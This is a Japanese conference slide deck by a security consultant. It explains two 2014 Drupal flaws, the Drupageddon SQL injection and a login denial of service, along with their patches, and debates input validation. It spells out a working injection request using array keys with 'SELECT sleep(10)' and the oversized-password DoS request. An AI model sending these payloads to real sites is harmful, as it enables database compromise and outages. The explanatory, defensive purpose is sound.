1.4K Views
December 04, 14
スライド概要
Validation Night(2014/12/4)での講演資料
SecurityとValidationの奇妙な関係、あるいは DrupalはなぜValidationをしたがらないのか HASHコンサルティング株式会社 徳丸 浩
アジェンダ • Drupalの2つの脆弱性 – Drupageddon(CVE-2014-3704) – Drupalのログイン画面におけるDoS脆弱性(CVE-20149999) • Drupalの脆弱性とValidation • SecurityとValidationの奇妙な関係 • Validation論争 Copyright © 2012-2014 HASH Consulting Corp. 2
Drupalとは Drupal(ドルーパル、発音: /ˈdruːpəl/)は、プログラム言語PHPで記述され たフリーでオープンソースのモジュラー式フレームワークであり、コンテ ンツ管理システム (CMS) である。昨今の多くのCMSと同様に、Drupalはシ ステム管理者にコンテンツの作成と整理、提示方法のカスタマイズ、管理 作業の自動化、サイトへの訪問者や寄稿者の管理を可能にする。 その性能がコンテンツ管理から、幅広いサービスや商取引を可能にするに まで及ぶことから、Drupalは時々「ウェブアプリケーションフレームワー ク」であると評される。Drupalは洗練されたプログラミング・インター フェースを提供するものの、基本的なウェブサイトの設置と管理はプログ ラミングなしに成し遂げることができる。Drupalは一般に、最も優れた Web 2.0フレームワークの一つであると考えられている。 ※Wikipediaより引用 WhiteHouse NASA 国立国会図書館カレントアウェアネス 3
Drupageddon Copyright © 2012-2014 HASH Consulting Corp. 4
Drupageddon(CVE-2014-3704)とは • Drupal Ver7.31以前に存在するSQLインジェクショ ン脆弱性 • 非常に危険性の高い脆弱性であるので、アルマゲド ンをもじってドゥルパゲドンと命名された模様 • 日本ではあまり話題になっていない(Drupalのシェ アのせい?) Copyright © 2012-2014 HASH Consulting Corp. 5
Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」 オープンソースのコンテンツ管理システム(CMS)「Drupal」に 極めて深刻な脆弱(ぜいじゃく)性が見つかった問題で、Drupalは 10月29日、脆弱性修正のパッチを直後に適用しなかったWebサイト は侵入された可能性があると警告した。米セキュリティ機関のUSCERTも、アップデートや回避策の適用を呼びかけている。 問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.x に存在する。悪用された場合、攻撃者にバックドアを仕掛けられ、 サイトの全データをコピーされる恐れがある。攻撃の痕跡は残らな い。この脆弱性を修正した「Drupal 7.32」は10月15日にリリースさ れた。 Drupalによると、この10月15日の発表の直後から、脆弱性を修正 していないWebサイトに対する攻撃が始まった。「すべてのDrupal 7サイトは、世界協定時間の10月15日午後11時(日本時間16日午前8 時)までにアップデートまたはパッチを適用していない限り、破ら れたと想定して対処しなければならない」とDrupalは警告する。 http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用 6
Drupalのログイン処理のSQL文を調べる 通常時の要求 name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9Mvuf bZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in 通常時のSQL文 SELECT * FROM users WHERE name = 'admin' AND status = 1 nameを配列で指定 name[]=user1&name[]=user2&pass=xxxxxxxx&form_build_id=form-xQZ7X7 8LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op =Log+in nameを配列にした場合のSQL文 SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1 文字列リテラルが複数生成される Copyright © 2012-2014 HASH Consulting Corp. 7
IN句生成の便利な呼び出し方だが…
db_queryにてIN句のバインド値を配列にすると…
<?php
db_query("SELECT * FROM {users} where name IN (:name)",
array(':name'=>array('user1','user2')));
?>
IN句の値がプレースホルダのリストに展開される
SELECT * from users where name IN (:name_0, :name_1)
バインド値の配列は以下の様に変形される
array(':name_0'=>'user1', ':name_1'=>'user2'))
Copyright © 2012-2014 HASH Consulting Corp.
8
キー名をつけると キー名をつけてみる(id1, id2) name[id1]=user1&name[id2]=user2 プレースホルダにキー名がつく SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND statu s = 1 Copyright © 2012-2014 HASH Consulting Corp. 9
空白付きのキー
キー名に空白をつけてみる
name[1 xxxxx]=user1&name[2]=user2
プレースホルダに空白が含まれる
SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND sta
tus = 1
ちぎれたプレースホルダはSQL文
の一部として認識される
プレースホルダには、キー :name_1がないので上記のSQL文呼び出しはエラーになる
array(2) {
[":name_1 xxxxx"] => "user1"
[":name_2"] => "user2"
}
← :name_1 ではない
Copyright © 2012-2014 HASH Consulting Corp.
10
バインド値のつじつまを合わせる
キー名に空白をつけてみる
name[2 xxxxx]=&name[2]=user2
プレースホルダに空白が含まれる
SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND sta
tus = 1
プレースホルダ :name_2 が
2箇所現れる
プレースホルダ配列は上記SQL文の要求を満たすのでSQL文は呼び出される…
が、xxxxxの箇所でSQLの文法違反となる
array(2) {
[":name_2 xxxxx"] => ""
[":name_2"] => "user2"
}
Copyright © 2012-2014 HASH Consulting Corp.
11
SQLインジェクションを試す
キー名に追加のSQL文を書く
name[2 ;SELECT sleep(10) -- ]=&name[2]=user2
プレースホルダの後ろに追加のSQL文が現れる
SELECT * FROM {users} WHERE name = :name_2 ;SELECT sleep(10) -- ,
:name_2 AND status = 1
実際に呼び出されるSQL文
SELECT * FROM users WHERE name = 'user2' ;SELECT sleep(10) -- , '
user2' AND status = 1
Copyright © 2012-2014 HASH Consulting Corp.
12
脆弱なソース
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
$query = preg_replace('#' . $key . '\b#',
implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Copyright © 2012-2014 HASH Consulting Corp.
13
対策版
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
//foreach ($data as $i => $value) {
foreach (array_values($data) as $i => $value) { // キーを削除
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
$query = preg_replace('#' . $key . '\b#',
implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Copyright © 2012-2014 HASH Consulting Corp.
14
Drupalのログイン画面におけるDoS脆弱 性(CVE-2014-9016) Copyright © 2012-2014 HASH Consulting Corp. 15
想定される影響 第三者により、巧妙に細工されたリクエストを介して、 サービス運用妨害 (CPU 資源およびメモリの消費) 状態にされる可能性があります。 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-005632.html より引用 16
巧妙に細工されたリクエスト…とは? POST /drupal731/?q=node&destination=node HTTP/1.1 Host: example.jp User-Agent: Mozilla Cookie: has_js=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 10114 100万バイトの パスワード name=admin&pass=1234567890123456789012345678901234567890123456789012 345678901234567890123456789012345678901234567890123456789012345678901 234567890123456789012345678901234567890123456789012345678901234567890 123456789012345678901234567890123456789012345678901234567890123456789 012345678901234567890123456789012345678901234567890123456789012345678 901234567890123456789012345678901234567890123456789012345678901234567 890123456789012345678901234567890123456789012345678901234567890123456 789012345678901234567890123456789012345678901234567890……..…1234567890 123456789012345678901234567890123456789012345678901234567890123456789 012345678901234567890123456789012345678901234567890123456789012345678 901234567890123456789012345678901234567890&form_build_id=form-Fw_Sa9fPZ 5wQBHOURorm7aOILRlK2KXropvxrELFKtc&form_id=user_login_block&op=Log+in DEMO Copyright © 2012-2014 HASH Consulting Corp. 17
パスワードハッシュ値の計算部分
function _password_crypt($algo, $password, $setting) {
// ...
// Convert the base 2 logarithm into an integer.
$count = 1 << $count_log2;
// $count は32768となる
// We rely on the hash() function being available in PHP 5.2+.
// ソルトとパスワードを連結したもののSHA-512ハッシュを求める
$hash = hash($algo, $salt . $password, TRUE);
do {
// これまでのハッシュ値とパスワードを連結したもののSHA-512ハッシュ
$hash = hash($algo, $hash . $password, TRUE);
} while (--$count); // 32768回繰り返し
$len = strlen($hash);
$output = $setting . _password_base64_encode($hash, $len);
$expected = 12 + ceil((8 * $len) / 6);
return (strlen($output) == $expected) ? substr($output, 0,
DRUPAL_HASH_LENGTH) : FALSE;
}
Copyright © 2012-2014 HASH Consulting Corp.
18
対策版
function _password_crypt($algo, $password, $setting) {
// Prevent DoS attacks by refusing to hash large passwords.
if (strlen($password) > 512) {
return FALSE;
}
// 後は同じ…
}
Copyright © 2012-2014 HASH Consulting Corp.
19
Drupalの脆弱性とValidation Copyright © 2012-2014 HASH Consulting Corp. 20
Drupalとバリデーション • Drupalは必要最低限のバリデーションしかしない • ユーザ登録の際にはバリデーションをしている – ユーザIDは60文字以下 – パスワードは128文字以下 • ログインの際は、バリデーションは何もしていない • バリデーションが「ヒント」になるといけないか ら? • 現実的に、バリデーションさえやっていれば、2つ の脆弱性は防げていた Copyright © 2012-2014 HASH Consulting Corp. 21
SecurityとValidationの奇妙な関係 Copyright © 2012-2014 HASH Consulting Corp. 22
徳丸本にはなんと書いてあるか? ◆ 入力値検証とセキュリティ 入力値検証の主目的はセキュリティのためではありませんが、 セキュリティのために役立つ場合もあります。入力値検証がセ キュリティの役に立つのは以下のようなケースです。 • SQLインジェクション対策が漏れていたパラメータがあるが、 英数字のみ許可していたので実害には至らない • PHP のバイナリセーフでない関数(後述)を使っているが、 入力段階で制御文字をチェックしているので実害には至らな い • 表示処理の関数に文字エンコーディングの指定を怠っている が、入力段階で不正な文字エンコーディングをチェックして いるので実害には至らない 体系的に学ぶ 安全なWebアプリケーションの作り方 P76より引用 23
もう入力値検証はセキュリティ対策として *あてにしない* ようにしよう スタックオーバーフロー対策をする場合、関数の入口でチェックすれば大抵対策可 能なんだけど、それだと対策漏れの可能性があるから、例えば、strcpyの代わりに strncpyあるいはもっと高機能な文字列関数を使うことが当然になってきました。 これは、入口でのチェックだと漏れやすいから、脆弱性が発生するその箇所で対策 するという考え方にシフトしているのだと私は考えます。 Webアプリケーションの場合も同様で、…例えば、パストラバーサル脆弱性対処の ためのファイル名の確認は、ファイルをオープンする直前(ファイル名を使う直 前)に行うべきだ、という考え方です。 スタックオーバーフローに話を戻すと、関数の入口で行うチェックは、strcpyを呼 び出している関数の中で閉じた話なので、入口でのチェックとstrcpy呼び出しは、 それほど場所的に離れてはいないはずです。それでも、関数の入口でのチェックに 頼らずに、文字列のコピーをするたびにバッファ長の確認をするべきだということ です。 これに対して、Webアプリケーションの場合、リクエストを受け取ってから、入力 値を使う(HTML生成、SQL組み立て、ファイルオープン…)までは、さまざまな関 数を経て複雑な処理になっている場合が多いです。それだと、「このパラメータは 本当に検証されているのか」という確認には、さらに多大な労力が必要で、間違い も生じやすいと言えます。 http://tumblr.tokumaru.org/post/55393403591 より引用 24
続き…まとめ • 脆弱性対策はミクロな範囲で確認できることが望ましい • 入力値検証による脆弱性対策は、検証と脆弱性発生箇所が離 れるので、確認がしにくい • 入力値の仕様は変更の可能性があるので、入力値検証に頼っ たセキュリティ施策は仕様変更に脆弱になる • そもそも入力値検証の元となる「仕様」は脆弱性とは無関係 に決められるものなので、脆弱性対処としてあてにするべき ではない • 脆弱性は「入力値(HTTPリクエスト)」だけに起因するも のではないので、その意味で入力値検証に頼ることは危険 • 入力値検証をするなという意味ではない。入力値検証は脆弱 性対処とは独立して行うべきである http://tumblr.tokumaru.org/post/55393403591 より引用 25
入力バリデーションはセキュリティ対策として*あてにする*ものではありません 徳丸さんに返信した前のエントリのリンクに「もう入力値検証はセキュリティ対策 として *あてにしない* ようにしよう」とあったので補足しておきます。 そもそも入力バリデーションは「あてにする」ような物ではありません。セキュリ ティ対策としては「転んだ時に役立つかも知れない杖」と捉えるべきです。役立つ か役立たないかは分かりませんが、SANS/CWE TOP 25で「怪物的な緩和策」 (Monster Mitigation)のNo 1として挙げられているセキュリティ対策です。 つまり、毎年多数登録されるソフトウェア脆弱性データベースであるCVEデータ ベースのセキュリティ問題に対して、最も効果があるセキュリティ対策である、と いう事です。運任せでも統計的に役立つ事が実証されているセキュリティ対策を導 入しないのは効果的なセキュリティ対策であるとは言えません。 入力バリデーションは「あてにする」ような物ではありませんが、セキュリティ対 策として必ずやるべき対策です。運任せなので、より幸運にも脆弱性が攻撃できな い状況になるよう、ホワイトリスト方式で厳格にバリデーションするのが正しいや り方です。 http://blog.ohgaki.net/input-validation-is-not-dependable-but-efficient-security-measure より引用 26
まとめ • Drupalのログイン処理ではバリデーションをしていない • Drupalの開発者は、ミクロの対処にこだわっているように見 える – おまえとは旨い酒が飲めそうだw • しかし、頑なにバリデーションを拒否する必要もないように 思える • セキュリティ面から見た場合、バリデーションは… – Good : 様々な局面や未知の局面で役立つ可能性 – Bad : 脆弱性の根本対策ではない、役に立つとは限らない • 大垣さんと徳丸のバリデーションに関する主張はほとんど同 じで常人には区別は不能 • バリデーションは、アプリケーション仕様を元にやっときま しょう。「転ばぬ先の杖」になる場合もありますw Copyright © 2012-2014 HASH Consulting Corp. 27